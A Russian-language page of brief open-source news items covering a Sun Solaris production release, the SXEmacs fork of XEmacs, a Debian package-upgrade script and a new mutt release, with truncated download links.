>>> Подробности

Широко разрекламированная операционная система от Sun приобрела статус "production release". Особенности системы: технология Solaris Containers, утилита DTrace, файловая система ZFS (zettabyte file system), возможность запускать линуксовые приложения.

>>> официальный сайт

Вышел SXEmacs 22.1.1 - форк популярнейшей среды XEmacs. Работа над проектом началась в августе прошлого года (если судить по рассылке SXEmacs-devel) и на данный момент SXEmacs функционально идентичен XEmacs 21.4.

Зачем делать форк? Каковы цели проекта? Ответы на эти вопросы можно найти здесь: http://www.sxemacs.org/pipermail/sxem...

В данный момент над программой работает восемь человек, в том числе один "наш человек" - Evgeny Zajcev.

SXEmacs-devel: http://www.sxemacs.org/pipermail/sxem...
Список изменений: http://www.sxemacs.org/changes/Change...
Страница для закачки: http://www.sxemacs.org/download.html

>>> Подробности

Обновился upgrade-oldest - скрипт, позволяющий выборочно обновить старые версии пакетов в Debian.

Позволяет обновлять все/указанные секции.

Позволяет обновлять пакеты, версии которых различаются только эпохой/старшей-версией/средней-версией.

changelog:

* Создан пакет для Debian.

Скачать: http://sourceforge.net/project/showfi...

>>> Проект на sf.net

тихо и незаметно, после года затишья, вышел очередной релиз почтового клиента mutt.

патч можно взять здесь - ftp://ftp.mutt.org/mutt/devel/diff-1.... changelog можно посмотреть там же.

>>> скачать